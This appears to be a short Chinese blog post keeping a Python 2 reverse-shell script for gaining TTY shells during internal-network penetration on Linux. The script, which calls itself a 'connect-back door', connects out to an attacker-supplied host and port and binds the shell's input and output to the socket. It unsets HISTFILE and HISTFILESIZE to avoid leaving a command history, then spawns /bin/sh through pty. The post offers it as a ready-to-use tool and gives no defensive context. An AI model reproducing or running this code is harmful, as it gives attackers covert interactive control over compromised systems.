linux环境下进行内外渗透需要反弹shell连接内网ssh,Telnet等,就需要tty层的shell了。python代码转过来的,备用。

#!/usr/bin/python

import sys
import os
import socket
import pty

shell = "/bin/sh"

def usage(programname):
    print "python connect-back door"
    print "Usage: %s host port" % programname
    
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit(1)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
        print "[+]Connect OK."
    except:
        print "[-]Can't connect"
        sys.exit(2)
        
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    pty.spawn(shell)
    s.close()
    
if __name__ == "__main__":
    main()

劉珈X./

劉珈X./

斯人若彩虹 遇上方知有

0 条评论

发表评论